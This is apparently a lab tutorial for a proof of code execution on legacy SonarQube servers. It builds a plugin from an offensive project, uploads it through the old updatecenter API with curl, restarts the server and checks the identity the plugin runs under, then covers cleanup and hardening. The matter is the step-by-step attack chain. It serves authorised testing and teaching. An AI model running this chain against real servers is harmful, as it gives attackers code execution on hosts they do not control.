pwnrqube
The report loads a plugin into an old SonarQube installation after gaining application administrator access. The plugin runs inside the server process. Its identity is the SonarQube service identity; SYSTEM is specific to the report’s Windows service configuration.
Check prerequisites
Upstream documents the upload API workflow on versions before 7.9.5. Confirm the actual server build, API availability, administrator permissions, Java compatibility and restart window. Do not apply this workflow to every current SonarQube installation.
Build a reviewed proof
Review a pinned source checkout. Replace the sample callback code with a local marker-only proof before building:
cd pwnrqube/totally-benign-plugin
mvn clean package
jar tf target/totally-benign-plugin-1.0.jar
This example assumes the reviewed project layout. A successful Maven build does not prove the server will accept the plugin.
Upload and verify the pending plugin
curl --user labadmin -X POST \
-F file=@target/totally-benign-plugin-1.0.jar \
'http://sonar.example.test:9000/api/updatecenter/upload'
curl prompts for the password. Check HTTP status and Marketplace pending-installation state before restarting. Restart only in the agreed window; a compatibility error can break the application. Success: the marker is produced under the confirmed service identity after loading. Uninstall the proof plugin and restart to complete cleanup. Remove unsafe legacy upload paths and limit administrator access.
Map the separate boundaries
| Stage | Evidence needed | What it does not establish |
|---|---|---|
| Authentication | Accepted application identity | Administrator permission |
| Plugin upload | Accepted JAR and pending-installation state | Plugin code has run |
| Restart/load | Plugin loading in server logs | A particular OS privilege |
| Identity proof | Marker and service identity | SYSTEM on every host |
The legacy API issue is the ability to submit custom server code through an administrative web action. Later manual access to extensions/plugins is a separate host-level prerequisite; it does not demonstrate that the removed upload API still works.
Inventory the installation first
curl --cacert lab-ca.pem --user labadmin \
https://sonar.example.test/api/server/version
curl --cacert lab-ca.pem --user labadmin \
https://sonar.example.test/api/system/status
These are read-only probes; authentication and URL paths can vary with a reverse-proxy prefix. Record the build, deployment path and whether the service is Windows, Linux or a container. Check the pinned project’s Java target against the server runtime before packaging anything.
Review the build artefact
java -version
mvn -version
rg -n 'Runtime|ProcessBuilder|Socket|static|Plugin' src/main/java pom.xml
mvn clean package
jar tf target/totally-benign-plugin-1.0.jar
unzip -p target/totally-benign-plugin-1.0.jar META-INF/MANIFEST.MF
sha256sum target/totally-benign-plugin-1.0.jar
Run these inside the reviewed plugin project. Ensure the proof runs at the intended load hook and exits promptly. A dependency mismatch, duplicate plugin key or incompatible API can prevent startup even when compilation succeeds.
Observe the upload transaction
curl --cacert lab-ca.pem --user labadmin \
--dump-header upload-headers.txt --output upload-body.txt \
--write-out 'HTTP %{http_code}\n' \
-F file=@target/totally-benign-plugin-1.0.jar \
https://sonar.example.test/api/updatecenter/upload
Use the agreed restart window only after checking pending-installation state. Preserve error responses rather than repeatedly restarting a service with a rejected plugin. On the legacy API, api/plugins/cancel_all cancels pending operations; check that no unrelated administrator change is pending before using a global cancellation action.
Failure diagnosis and completion
| Failure | Next check |
|---|---|
401 / 403 | Accepted authentication method and administrator role |
404 | Actual version, removed endpoint or proxy path |
| Upload accepted but plugin absent | Pending state and server logs |
| JVM linkage/class-version error | Java bytecode target and plugin API compatibility |
| Marker reports a limited account | That is the actual service context, not a failed SYSTEM claim |
Uninstall the test plugin, restart in the agreed window and verify it no longer loads. Retain JAR digest, upload status, load evidence and process identity. Upgrade away from the legacy API and limit both plugin administration and the service account’s host permissions.
Related learning
How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.